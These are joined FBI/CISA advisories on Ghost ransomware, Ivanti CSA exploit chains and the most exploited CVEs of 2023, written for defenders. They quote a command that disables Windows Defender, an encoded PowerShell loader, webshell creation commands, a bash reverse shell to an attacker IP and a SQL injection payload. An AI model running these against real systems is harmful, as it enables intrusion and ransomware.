This post was originally published on this site

Summary

Note: This joint Cybersecurity Advisory is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.

The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), and the Multi-State Information Sharing and Analysis Center (MS-ISAC) are releasing this joint advisory to disseminate known Ghost (Cring)—(“Ghost”)—ransomware IOCs and TTPs identified through FBI investigation as recently as January 2025.

Beginning early 2021, Ghost actors began attacking victims whose internet facing services ran outdated versions of software and firmware. This indiscriminate targeting of networks containing vulnerabilities has led to the compromise of organizations across more than 70 countries, including organizations in China. Ghost actors, located in China, conduct these widespread attacks for financial gain. Affected victims include critical infrastructure, schools and universities, healthcare, government networks, religious institutions, technology and manufacturing companies, and numerous small- and medium-sized businesses.

Ghost actors rotate their ransomware executable payloads, switch file extensions for encrypted files, modify ransom note text, and use numerous ransom email addresses, which has led to variable attribution of this group over time. Names associated with this group include Ghost, Cring, Crypt3r, Phantom, Strike, Hello, Wickrme, HsHarada, and Rapture. Samples of ransomware files Ghost used during attacks are: Cring.exe, Ghost.exe, ElysiumO.exe, and Locker.exe.

Ghost actors use publicly available code to exploit Common Vulnerabilities and Exposures (CVEs) and gain access to internet facing servers. Ghost actors exploit well known vulnerabilities and target networks where available patches have not been applied.

The FBI, CISA, and MS-ISAC encourage organizations to implement the recommendations in the Mitigations section of this advisory to reduce the likelihood and impact of Ghost ransomware incidents.

Download the PDF version of this report:

AA25-050A #StopRansomware: Ghost (Cring) Ransomware
(PDF, 735.18 KB
)

For a downloadable copy of IOCs, see:

AA25-050A STIX XML
(XML, 78.67 KB
)

AA25-050A STIX XML (Additional IOCs)
(XML, 74.01 KB
)

AA25-050A STIX JSON
(JSON, 68.47 KB
)

Technical Details

Note: This advisory uses the MITRE ATT&CK^® Matrix for Enterprise framework, version 16.1. See the MITRE ATT&CK Tactics and Techniques section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.

Initial Access

The FBI has observed Ghost actors obtaining initial access to networks by exploiting public facing applications that are associated with multiple CVEs [T1190]. Their methodology includes leveraging vulnerabilities in Fortinet FortiOS appliances (CVE-2018-13379), servers running Adobe ColdFusion (CVE-2010-2861 and CVE-2009-3960), Microsoft SharePoint (CVE-2019-0604), and Microsoft Exchange (CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207— commonly referred to as the ProxyShell attack chain).

Execution

Ghost actors have been observed uploading a web shell [T1505.003] to a compromised server and leveraging Windows Command Prompt [T1059.003] and/or PowerShell [T1059.001] to download and execute Cobalt Strike Beacon malware [T1105] that is then implanted on victim systems. Despite Ghost actors’ malicious implementation, Cobalt Strike is a commercially available adversary simulation tool often used for the purposes of testing an organization’s security controls.

Persistence

Persistence is not a major focus for Ghost actors, as they typically only spend a few days on victim networks. In multiple instances, they have been observed proceeding from initial compromise to the deployment of ransomware within the same day. However, Ghost actors sporadically create new local [T1136.001] and domain accounts [T1136.002] and change passwords for existing accounts [T1098]. In 2024, Ghost actors were observed deploying web shells [T1505.003] on victim web servers.

Privilege Escalation

Ghost actors often rely on built in Cobalt Strike functions to steal process tokens running under the SYSTEM user context to impersonate the SYSTEM user, often for the purpose of running Beacon a second time with elevated privileges [T1134.001].

Ghost actors have been observed using multiple open-source tools in an attempt at privilege escalation through exploitation [T1068] such as “SharpZeroLogon,” “SharpGPPPass,” “BadPotato,” and “GodPotato.” These privilege escalation tools would not generally be used by individuals with legitimate access and credentials. 

See Table 1 for a descriptive listing of tools.

Credential Access

Ghost actors use the built in Cobalt Strike function “hashdump” or Mimikatz [T1003] to collect passwords and/or password hashes to aid them with unauthorized logins and privilege escalation or to pivot to other victim devices.

Defense Evasion

Ghost actors used their access through Cobalt Strike to display a list of running processes [T1057] to determine which antivirus software [T1518.001] is running so that it can be disabled [T1562.001]. Ghost frequently runs a command to disable Windows Defender on network connected devices. Options used in this command are: Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIntrusionPreventionSystem 1 -DisableBehaviorMonitoring 1 -DisableScriptScanning 1 -DisableIOAVProtection 1 -EnableControlledFolderAccess Disabled -MAPSReporting Disabled -SubmitSamplesConsent NeverSend.

Discovery

Ghost actors have been observed using other built-in Cobalt Strike commands for domain account discovery [T1087.002], open-source tools such as “SharpShares” for network share discovery [T1135], and “Ladon 911” and “SharpNBTScan” for remote systems discovery [T1018]. Network administrators would be unlikely to use these tools for network share or remote systems discovery.

Lateral Movement

Ghost actors used elevated access and Windows Management Instrumentation Command-Line (WMIC) [T1047] to run PowerShell commands on additional systems on the victim network— often for the purpose of initiating additional Cobalt Strike Beacon infections. The associated encoded string is a base 64 PowerShell command that always begins with: powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIA… [T1132.001][T1564.003].

This string decodes to “$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(“” and is involved with the execution of Cobalt Strike in memory on the target machine.

In cases where lateral movement attempts are unsuccessful, Ghost actors have been observed abandoning an attack on a victim.

Exfiltration

Ghost ransom notes often claim exfiltrated data will be sold if a ransom is not paid. However, Ghost actors do not frequently exfiltrate a significant amount of information or files, such as intellectual property or personally identifiable information (PII), that would cause significant harm to victims if leaked. The FBI has observed limited downloading of data to Cobalt Strike Team Servers [T1041]. Victims and other trusted third parties have reported limited uses of Mega.nz [T1567.002] and installed web shells for similar limited data exfiltration. Note: The typical data exfiltration is less than hundreds of gigabytes of data.

Command and Control

Ghost actors rely heavily on Cobalt Strike Beacon malware and Cobalt Strike Team Servers for command and control (C2) operations, which function using hypertext transfer protocol (HTTP) and hypertext transfer protocol secure (HTTPS) [T1071.001]. Ghost rarely registers domains associated with their C2 servers. Instead, connections made to a uniform resource identifier (URI) of a C2 server, for the purpose of downloading and executing Beacon malware, directly reference the C2 server’s IP address. For example, http://xxx.xxx.xxx.xxx:80/Google.com where xxx.xxx.xxx.xxx represents the C2 server’s IP address.

For email communication with victims, Ghost actors use legitimate email services that include traffic encryption features. [T1573] Some examples of emails services that Ghost actors have been observed using are Tutanota, Skiff, ProtonMail, Onionmail, and Mailfence.

Note: Table 2 contains a list of Ghost ransom email addresses.

Impact and Encryption

Ghost actors use Cring.exe, Ghost.exe, ElysiumO.exe, and Locker.exe, which are all ransomware executables that share similar functionality. Ghost variants can be used to encrypt specific directories or the entire system’s storage [T1486]. The nature of executables’ operability is based on command line arguments used when executing the ransomware file. Various file extensions and system folders are excluded during the encryption process to avoid encrypting files that would render targeted devices inoperable.

These ransomware payloads clear Windows Event Logs [T1070.001], disable the Volume Shadow Copy Service, and delete shadow copies to inhibit system recovery attempts [T1490]. Data encrypted with Ghost ransomware variants cannot be recovered without the decryption key. Ghost actors hold the encrypted data for ransom and typically demand anywhere from tens to hundreds of thousands of dollars in cryptocurrency in exchange for decryption software [T1486].

The impact of Ghost ransomware activity varies widely on a victim-to-victim basis. Ghost actors tend to move to other targets when confronted with hardened systems, such as those where proper network segmentation prevents lateral moment to other devices.

Indicators of Compromise (IOC)

Table 1 lists several tools and applications Ghost actors have used for their operations. The use of these tools and applications on a network should be investigated further.

Note: Authors of these tools generally state that they should not be used in illegal activity.

Table 1: Tools Leveraged by Ghost Actors

Name	Description	Source
Cobalt Strike	Cobalt Strike is penetration testing software. Ghost actors  use an unauthorized version of Cobalt Strike.	N/A
IOX	Open-source proxy, used to establish a reverse proxy to a Ghost C2 server from an internal victim device.	github[.]com/EddieIvan01/iox
SharpShares.exe	SharpShares.exe is used to enumerate accessible network shares in a domain. Ghost actors use this primarily for host discovery.	github[.]com/mitchmoser/SharpShares
SharpZeroLogon.exe	SharpZeroLogon.exe attempts to exploit CVE-2020-1472 and is run against a target Domain Controller.	github[.]com/leitosama/SharpZeroLogon
SharpGPPPass.exe	SharpGPPPass.exe attempts to exploit CVE-2014-1812 and targets XML files created through Group Policy Preferences that may contain passwords.	N/A
SpnDump.exe	SpnDump.exe is used to list service principal name identifiers, which Ghost actors use for service and hostname enumeration.	N/A
NBT.exe	A compiled version of SharpNBTScan, a NetBIOS scanner. Ghost actors use this tool for hostname and IP address enumeration.	github[.]com/BronzeTicket/SharpNBTScan
BadPotato.exe	BadPotato.exe is an exploitation tool used for privilege escalation.	github[.]com/BeichenDream/BadPotato
God.exe	God.exe is a compiled version of GodPotato and is used for privilege escalation.	github[.]com/BeichenDream/GodPotato
HFS (HTTP File Server)	A portable web server program that Ghost actors use to host files for remote access and exfiltration.	rejitto[.]com/hfs
Ladon 911	A multifunctional scanning and exploitation tool, often used by Ghost actors with the MS17010 option to scan for SMB vulnerabilities associated with CVE-2017-0143 and CVE-2017-0144.	github[.]com/k8gege/Ladon
Web Shell	A backdoor installed on a web server that allows for the execution of commands and facilitates persistent access.	Slight variation of github[.]com/BeichenDream/Chunk-Proxy/blob/main/proxy.aspx

Table 2: MD5 File Hashes Associated with Ghost Ransomware Activity

File name	MD5 File Hash
Cring.exe	c5d712f82d5d37bb284acd4468ab3533
Ghost.exe	34b3009590ec2d361f07cac320671410 d9c019182d88290e5489cdf3b607f982
ElysiumO.exe	29e44e8994197bdb0c2be6fc5dfc15c2 c9e35b5c1dc8856da25965b385a26ec4 d1c5e7b8e937625891707f8b4b594314
Locker.exe	ef6a213f59f3fbee2894bd6734bbaed2
iex.txt, pro.txt (IOX)	ac58a214ce7deb3a578c10b97f93d9c3
x86.log (IOX)	c3b8f6d102393b4542e9f951c9435255 0a5c4ad3ec240fbfd00bdc1d36bd54eb
sp.txt (IOX)	ff52fdf84448277b1bc121f592f753c5
main.txt (IOX)	a2fd181f57548c215ac6891d000ec6b9
isx.txt (IOX)	625bd7275e1892eac50a22f8b4a6355d
sock.txt (IOX)	db38ef2e3d4d8cb785df48f458b35090

Ransom Email Addresses

Table 3 is a subset of ransom email addresses that have been included in Ghost ransom notes.

Table 3: Ransom Email Addresses

Email Addresses
asauribe@tutanota.com	ghostbackup@skiff.com	rainbowforever@tutanota.com
cringghost@skiff.com	ghosts1337@skiff.com	retryit1998@mailfence.com
crptbackup@skiff.com	ghosts1337@tuta.io	retryit1998@tutamail.com
d3crypt@onionmail.org	ghostsbackup@skiff.com	rsacrpthelp@skiff.com
d3svc@tuta.io	hsharada@skiff.com	rsahelp@protonmail.com
eternalnightmare@tutanota.com	just4money@tutanota.com	sdghost@onionmail.org
evilcorp@skiff.com	kellyreiff@tutanota.com	shadowghost@skiff.com
fileunlock@onionmail.org	kev1npt@tuta.io	shadowghosts@tutanota.com
fortihooks@protonmail.com	lockhelp1998@skiff.com	summerkiller@mailfence.com
genesis1337@tutanota.com	r.heisler@skiff.com	summerkiller@tutanota.com
ghost1998@tutamail.com	rainbowforever@skiff.com	webroothooks@tutanota.com

Ransom Notes

Starting approximately in August 2024, Ghost actors began using TOX IDs in ransom notes as an alternative method for communicating with victims. For example: EFE31926F41889DBF6588F27A2EC3A2D7DEF7D2E9E0A1DEFD39B976A49C11F0E19E03998DBDA and E83CD54EAAB0F31040D855E1ED993E2AC92652FF8E8742D3901580339D135C6EBCD71002885B.

MITRE ATT&CK Tactics and Techniques

See Table 4 to Table 13 for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, version 16.1, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Table 4: Initial Access

Technique Title	ID	Use
Exploit Public-Facing Application	T1190	Ghost actors exploit multiple vulnerabilities in public-facing systems to gain initial access to servers.

Table 5: Execution

Technique Title	ID	Use
Windows Management Instrumentation	T1047	Ghost actors abuse WMI to run PowerShell scripts on other devices, resulting in their infection with Cobalt Strike Beacon malware.
PowerShell	T1059.001	Ghost actors use PowerShell for various functions including to deploy Cobalt Strike.
Windows Command Shell	T1059.003	Ghost actors use the Windows Command Shell to download malicious content on to victim servers.

Table 6: Persistence

Technique Title	ID	Use
Account Manipulation	T1098	Ghost actors change passwords for already established accounts.
Local Account	T1136.001	Ghost actors create new accounts or makes modifications to local accounts.
Domain Account	T1136.002	Ghost actors create new accounts or makes modifications to domain accounts.
Web Shell	T1505.003	Ghost actors upload web shells to victim servers to gain access and for persistence.

Table 7: Privilege Escalation

Technique Title	ID	Use
Exploitation for Privilege Escalation	T1068	Ghost actors use a suite of open source tools in an attempt to gain elevated privileges through exploitation of vulnerabilities.
Token Impersonation/Theft	T1134.001	Ghost actors use Cobalt Strike to steal process tokens of processes running at a higher privilege.

Table 8: Defense Evasion

Technique Title	ID	Use
Application Layer Protocol: Web Protocols	T1071.001	Ghost actors use HTTP and HTTPS protocols while conducting C2 operations.
Impair Defenses: Disable or Modify Tools	T1562.001	Ghost actors disable antivirus products.
Hidden Window	T1564.003	Ghost actors use PowerShell to conceal malicious content within legitimate appearing command windows.

Table 9: Credential Access

Technique Title	ID	Use
OS Credential Dumping	T1003	Ghost actors use Mimikatz and the Cobalt Strike “hashdump” command to collect passwords and password hashes.

Table 10: Discovery

Technique Title	ID	Use
Remote System Discovery	T1018	Ghost actors use tools like Ladon 911 and ShapNBTScan for remote systems discovery.
Process Discovery	T1057	Ghost actors run a ps command to list running processes on an infected device.
Domain Account Discovery	T1087.002	Ghost actors run commands such as net group “Domain Admins” /domain to discover a list of domain administrator accounts.
Network Share Discovery	T1135	Ghost actors use various tools for network share discovery for the purpose of host enumeration.
Software Discovery	T1518	Ghost actors use their access to determine which antivirus software is running.
Security Software Discovery	T1518.001	Ghost actors run Cobalt Strike to enumerate running antivirus software.

Table 11: Exfiltration

Technique Title	ID	Use
Exfiltration Over C2 Channel	T1041	Ghost actors use both web shells and Cobalt Strike to exfiltrate limited data.
Exfiltration to Cloud Storage	T1567.002	Ghost actors sometimes use legitimate cloud storage providers such as Mega.nz for malicious exfiltration operations.

Table 12: Command and Control

Technique Title	ID	Use
Web Protocols	T1071.001	Ghost actors use Cobalt Strike Beacon malware and Cobalt Strike Team Servers which communicate over HTTP and HTTPS.
Ingress Tool Transfer	T1105	Ghost actors use Cobalt Strike Beacon malware to deliver ransomware payloads to victim servers.
Standard Encoding	T1132.001	Ghost actors use PowerShell commands to encode network traffic which reduces their likelihood of being detected during lateral movement.
Encrypted Channel	T1573	Ghost actors use encrypted email platforms to facilitate communications.

Table 13: Impact

Technique Title	ID	Use
Data Encrypted for Impact	T1486	Ghost actors use ransomware variants Cring.exe, Ghost.exe, ElysiumO.exe, and Locker.exe to encrypt victim files for ransom.
Inhibit System Recovery	T1490	Ghost actors delete volume shadow copies.

Mitigations

The FBI, CISA, and MS-ISAC recommend organizations reference their #StopRansomware Guide and implement the mitigations below to improve cybersecurity posture on the basis of the Ghost ransomware activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections.

• Maintain regular system backups that are known-good and stored offline or are segmented from source systems [CPG 2.R]. Ghost ransomware victims whose backups were unaffected by the ransomware attack were often able to restore operations without needing to contact Ghost actors or pay a ransom.
• Patch known vulnerabilities by applying timely security updates to operating systems, software, and firmware within a risk-informed timeframe [CPG 1.E].
• Segment networks to restrict lateral movement from initial infected devices and other devices in the same organization [CPG 2.F].
• Require Phishing-Resistant MFA for access to all privileged accounts and email services accounts.
• Train users to recognize phishing attempts.
• Monitor for unauthorized use of PowerShell. Ghost actors leverage PowerShell for malicious purposes, although it is often a helpful tool that is used by administrators and defenders to manage system resources. For more information, visit NSA and CISA’s joint guidance on PowerShell best practices.
  • Implement the principle of least privilege when granting permissions so that employees who require access to PowerShell are aligned with organizational business requirements.
• Implement allowlisting for applications, scripts, and network traffic to prevent unauthorized execution and access [CPG 3.A].
• Identify, alert on, and investigate abnormal network activity. Ransomware activity generates unusual network traffic across all phases of the attack chain. This includes running scans to discover other network connected devices, running commands to list, add, or alter administrator accounts, using PowerShell to download and execute remote programs, and running scripts not usually seen on a network. Organizations that can successfully identify and investigate this activity are better able to interrupt malicious activity before ransomware is executed [CPG 3.A].
  • Ghost actors run a significant number of commands, scripts, and programs that IT administrators would have no legitimate reason for running. Victims who have identified and responded to this unusual behavior have successfully prevented Ghost ransomware attacks.
• Limit exposure of services by disabling unused ports such as, RDP 3398, FTP 21, and SMB 445, and restricting access to essential services through securely configured VPNs or firewalls.
• Enhance email security by implementing advanced filtering, blocking malicious attachments, and enabling DMARC, DKIM, and SPF to prevent spoofing [CPG 2.M].

Validate Security Controls

In addition to applying mitigations, the FBI, CISA, and MS-ISAC recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory.

To get started:

1. Select an ATT&CK technique described in this advisory (see Table 3 to Table 13).
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies’ performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

Reporting

Your organization has no obligation to respond or provide information back to the FBI in response to this joint advisory. If, after reviewing the information provided, your organization decides to provide information to the FBI, reporting must be consistent with applicable state and federal laws.

The FBI is interested in any information that can be shared, to include logs showing communication to and from foreign IP addresses, a sample ransom note, communications with threat actors, Bitcoin wallet information, and/or decryptor files.

Additional details of interest include a targeted company point of contact, status and scope of infection, estimated loss, operational impact, date of infection, date detected, initial attack vector, and host and network-based indicators.

The FBI, CISA, and MS-ISAC do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, the FBI and CISA urge you to promptly report ransomware incidents to FBI’s Internet Crime Complain Center (IC3), a local FBI Field Office, or CISA via the agency’s Incident Reporting System or its 24/7 Operations Center (report@cisa.gov) or by calling 1-844-Say-CISA (1-844-729-2472).

Disclaimer

The information in this report is being provided “as is” for informational purposes only. The FBI, CISA, and MS-ISAC do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by the FBI, CISA, and the MS-ISAC.

Version History

February 19, 2025: Initial version.

This post was originally published on this site

Note: The CVEs in this advisory are unrelated to vulnerabilities (CVE-2025-0282 and CVE-2025-0283) in Ivanti’s Connect Secure, Policy Secure and ZTA Gateways. For more information on mitigating CVE -2025-0282 and CVE-2025-0283, see Ivanti Releases Security Updates for Connect Secure, Policy Secure, and ZTA Gateways.

Summary

The Cybersecurity and Infrastructure Security Agency (CISA) and Federal Bureau of Investigation (FBI) are releasing this joint Cybersecurity Advisory in response to exploitation in September 2024 of vulnerabilities in Ivanti Cloud Service Appliances (CSA): CVE-2024-8963, an administrative bypass vulnerability; CVE-2024-9379, a SQL injection vulnerability; and CVE-2024-8190 and CVE-2024-9380, remote code execution vulnerabilities.

According to CISA and trusted third-party incident response data, threat actors chained the listed vulnerabilities to gain initial access, conduct remote code execution (RCE), obtain credentials, and implant webshells on victim networks. The actors’ primary exploit paths were two vulnerability chains. One exploit chain leveraged CVE-2024-8963 in conjunction with CVE-2024-8190 and CVE-2024-9380 and the other exploited CVE-2024-8963 and CVE-2024-9379. In one confirmed compromise, the actors moved laterally to two servers.

All four vulnerabilities affect Ivanti CSA version 4.6x versions before 519, and two of the vulnerabilities (CVE-2024-9379 and CVE-2024-9380) affect CSA versions 5.0.1 and below; according to Ivanti, these CVEs have not been exploited in version 5.0.[1]

Ivanti CSA 4.6 is End-of-Life (EOL) and no longer receives patches or third-party libraries. CISA and FBI strongly encourage network administrators to upgrade to the latest supported version of Ivanti CSA. Network defenders are encouraged to hunt for malicious activity on their networks using the detection methods and indicators of compromise (IOCs) within this advisory. Credentials and sensitive data stored within the affected Ivanti appliances should be considered compromised. Organizations should collect and analyze logs and artifacts for malicious activity and apply the incident response recommendations within this advisory.

Download the PDF version of this report:

For a downloadable copy of IOCs, see:

Technical Details

Note: This advisory uses the MITRE ATT&CK^® Matrix for Enterprise framework, version 16. See the MITRE ATT&CK Tactics and Techniques section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.

In September 2024, Ivanti released two Security Advisories disclosing exploitation of CVE-2024-8190 and CVE-2024-8963.[2][3] In October 2024, Ivanti released another advisory disclosing exploitation of CVE-2024-9379 and CVE-2024-9380.[1]

• CVE-2024-8963 [CWE-22: Path Traversal] is an administrate bypass vulnerability that allows threat actors to remotely access restricted features within the appliance. When used in conjunction with CVE-2024-8190 [CWE-78: OS Command Injection], threat actors can remotely authenticate into a victims’ network and execute arbitrary commands on the appliance [T1219].[2][3]
• CVE-2024-9379 [CWE-89: SQL Injection] allows a remote authenticated attacker with admin privileges to run arbitrary SQL statements.[1]
• CVE-2024-9380 [CWE-77: Command Injection] allows a remote authenticated attacker with admin privileges to obtain RCE.[1]

According to Ivanti’s advisories and industry reporting, these vulnerabilities were exploited as zero days.[4] Based on evidence of active exploitation, CISA added CVE-2024-8963, CVE-2024-8190, CVE-2024-9379, and CVE-2024-9380 to its Known Exploited Vulnerabilities (KEV) Catalog.

According to CISA and trusted third-party incident response data, threat actors chained the above listed vulnerabilities to gain initial access, conduct RCE, obtain credentials, and implant webshells on victim networks. The primary exploit paths included two vulnerability chains. One exploit chain leveraged CVE-2024-8963 in conjunction with CVE-2024-8190 and CVE-2024-9380. The other chain exploited CVE-2024-8963 and CVE-2024-9379. After exploitation, the actors moved laterally in one victim—other victims had no follow-on activity because they identified anomalous activity and implemented mitigation measures.

Exploit Chain 1

The threat actors leveraged CVE-2024-8963 in conjunction with remote code execution vulnerabilities, CVE-2024-8190 and CVE-2024-9380. Acting as a nobody user [T1564.002], the threat actors first sent a GET request to datetime.php to acquire session and cross-site request forgery (CSRF) tokens using GET /client/index.php%3F.php/gsb/datetime[.]php [T1071.001]. They followed this in quick succession with a POST request to the same endpoint, using the TIMEZONE input field to manipulate the setSystemTimeZone function and execute code. In some confirmed compromises, the actors used this method to run base64-encoded Python scripts that harvested encrypted admin credentials from the database [T1552.001]. Note: The actors used multiple script variations. See Appendix A for examples of encoded and decoded scripts.

In some cases, the threat actors exfiltrated the encrypted admin credentials then decrypted them offline [TA0010]. In other cases, the threat actors leveraged an executable matching the regular expression phpw{6} located in the /tmp directory to decrypt the credentials prior to exfiltration—this tool was unrecoverable.

After obtaining credentials, the actors logged in and exploited CVE-2024-9380 to execute commands from a higher privileged account. The actors successfully sent a GET request to /gsb/reports[.]php. They immediately followed this with a POST request using the TW_ID input field to execute code to implant webshells for persistence [T1505.003].

In one confirmed compromise, the threat actors tried to create webshells using two different paths:

• echo "<?php system(@
$_REQUEST['a']);">/opt/ivanti/csa/broker/webroot/client/help.php
• echo "<?php system('/bin/sudo '. @
$_REQUEST['a']);" > /opt/landesk/broker/webroot/gsb/help.php

In the same compromise, the actors used the exploit to execute the following script to create a reverse Transmission Control Protocol command and control (C2) channel: bash -i >&/dev/tcp/107.173.89[.]16/8000 0>&1.

In another compromise, the threat actors maintained their presence on the victim’s system for a longer amount of time. The threat actors used sudo commands to disable the vulnerability in DateTimeTab.php, modify and remove webshells, and remove evidence of exploitation [T1548.003]. See Appendix B for the list of sudo commands used.

Lateral Movement

In one case, there was evidence of lateral movement after the threat actors gained access and established a foothold through this exploit chain. It is suspected that the threat actors gained access into a Jenkins server running a vulnerable, outdated version [T1068]. Logs on the Jenkins machine showed that a command in the bash history contained credentials to the postgres server. The threat actors then attempted to log into the Virtual Private Network (VPN) server but were unsuccessful. Prior to moving laterally, the actors likely performed discovery on the CSA device using Obelisk and GoGo to scan for vulnerabilities [T1595.002].

Exploit Chain 2

In one confirmed compromise, the actors used a similar exploit chain, exploiting CVE-2024-8963 in conjunction with CVE-2024-9379, using GET /client/index.php%3f.php/gsb/broker.php for initial access.

After the threat actors gained initial access, they attempted to exploit CVE-2024-9379 to create a webshell to gain persistent access. They executed GET and POST requests in quick succession to /client/index.php%3F.php/gsb/broker.php. In the POST body, threat actors entered the following string in the lockout attempts input box: LOCKOUTATTEMPTS = 1 ;INSERT INTO user_info(username, accessed, attempts) VALUES ('''echo -n TnNhV1Z1ZEM5b1pXeHdMbk>>/.k''', NOW(), 10). The first portion of the command (LOCKOUTATTEMPTS=1) fit the format of the application and was properly handled by the application. However, the second portion of the command, a SQL injection [T1190], was not properly handled by the application. Regardless, the application processed both commands, allowing the threat actors to insert a user into the user_info table.

After inserting valid bash code as a user in the user_info table, the threat actors attempted to login as the user. The authoring agencies believe the threat actors knew this login would fail but were attempting to coerce the application into handling the bash code improperly. In this attempt, the application did not evaluate the validity of the login, but instead ran echo -n TnNhV1Z1ZEM5b1pXeHdMbk>>./k as if it were code. The threat actors repeated the process of echo commands until they built a valid web shell [T1059]. However, there were no observations that the threat actors were successful.

Detection of Activity

According to incident response data from three victim organizations, the actors were unsuccessful with follow-on activity due to the organizations’ rapid detection of the malicious activity. To remediate exploitation, all three organizations replaced the virtual machines with clean and upgraded versions.

Victim Organization 1

The first organization detected malicious activity early in the exploitation. A system administrator detected the anomalous creation of user accounts. After investigation, the organization remediated the incident. While it is likely admin credentials were exfiltrated, there were no signs of lateral movement.

Victim Organization 2

This organization had an endpoint protection platform (EPP) installed on their system that alerted when the threat actors executed base64 encoded script to create webshells. There were no indications of webshells successfully being created or of lateral movement.

Victim Organization 3

This organization leveraged the IOC findings from the other two victim sites to quickly detect malicious activity. This threat activity included the download and deployment of Obelisk and GoGo Scanner, which generated a large number of logs. The organization used these logs to identify anomalous activity.

Indicators of Compromise

See Table 1 through Table 3 for IOCs related to the threat actors’ exploitation of CVE-2024-8963, CVE-2024-8190, CVE-2024-9379, and CVE-2024-9380 in Ivanti CSA.

Disclaimer: Some IP addresses in this cybersecurity advisory may be associated with legitimate activity. Organizations are encouraged to investigate the activity around these IP addresses prior to taking action, such as blocking. Activity should not be attributed as malicious without analytical evidence to support they are used at the direction of, or controlled by, threat actors.

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Summary

The following cybersecurity agencies coauthored this joint Cybersecurity Advisory (hereafter collectively referred to as the authoring agencies):

• United States: The Cybersecurity and Infrastructure Security Agency (CISA), the Federal Bureau of Investigation (FBI), and National Security Agency (NSA)
• Australia: Australian Signals Directorate’s Australian Cyber Security Centre (ACSC)
• Canada: Canadian Centre for Cyber Security (CCCS)
• New Zealand: New Zealand National Cyber Security Centre (NCSC-NZ) and Computer Emergency Response Team New Zealand (CERT NZ)
• United Kingdom: National Cyber Security Centre (NCSC-UK)

This advisory provides details, collected and compiled by the authoring agencies, on the Common Vulnerabilities and Exposures (CVEs) routinely and frequently exploited by malicious cyber actors in 2023 and their associated Common Weakness Enumerations (CWEs). Malicious cyber actors exploited more zero-day vulnerabilities to compromise enterprise networks in 2023 compared to 2022, allowing them to conduct operations against high priority targets.

The authoring agencies strongly encourage vendors, designers, developers, and end-user organizations to implement the following recommendations, and those found within the Mitigations section of this advisory, to reduce the risk of compromise by malicious cyber actors.

• Vendors, designers, and developers. Implement secure by design and default principles and tactics to reduce the prevalence of vulnerabilities in your software.
  • Follow the SP 800-218 Secure Software Development Framework (SSDF) and implement secure by design practices into each stage of the software development life cycle (SDLC). Establish a coordinated vulnerability disclosure program that includes processes to determine root causes of discovered vulnerabilities.
  • Prioritize secure by default configurations, such as eliminating default passwords and not requiring additional configuration changes to enhance product security.
  • Ensure that published CVEs include the proper CWE field, identifying the root cause of the vulnerability.
• End-user organizations:
  • Apply timely patches to systems.
    Note: If CVEs identified in this advisory have not been patched, check for signs of compromise before patching.
  • Implement a centralized patch management system.
  • Use security tools such as endpoint detection and response (EDR), web application firewalls, and network protocol analyzers.
  • Ask your software providers to discuss their secure by design program, provide links to information about how they are working to remove classes of vulnerabilities, and to set secure default settings.

Purpose

The authoring agencies developed this document in furtherance of their respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations.

Technical Details

Key Findings

In 2023, malicious cyber actors exploited more zero-day vulnerabilities to compromise enterprise networks compared to 2022, allowing them to conduct cyber operations against higher-priority targets. In 2023, the majority of the most frequently exploited vulnerabilities were initially exploited as a zero-day, which is an increase from 2022, when less than half of the top exploited vulnerabilities were exploited as a zero-day. 

Malicious cyber actors continue to have the most success exploiting vulnerabilities within two years after public disclosure of the vulnerability. The utility of these vulnerabilities declines over time as more systems are patched or replaced. Malicious cyber actors find less utility from zero-day exploits when international cybersecurity efforts reduce the lifespan of zero-day vulnerabilities.

Cybersecurity Efforts to Include

Implementing security-centered product development lifecycles. Software developers deploying patches to fix software vulnerabilities is often a lengthy and expensive process, particularly for zero-days. The use of more robust testing environments and implementing threat modeling throughout the product development lifecycle will likely reduce overall product vulnerabilities.

Increasing incentives for responsible vulnerability disclosure. Global efforts to reduce barriers to responsible vulnerability disclosure could restrict the utility of zero-day exploits used by malicious cyber actors. For example, instituting vulnerability reporting bug bounty programs that allow researchers to receive compensation and recognition for their contributions to vulnerability research may boost disclosures.

Using sophisticated endpoint detection and response (EDR) tools. End users leveraging EDR solutions may improve the detection rate of zero-day exploits. Most zero-day exploits, including at least three of the top 15 vulnerabilities from last year, have been discovered when an end user or EDR system reports suspicious activity or unusual device malfunctions.

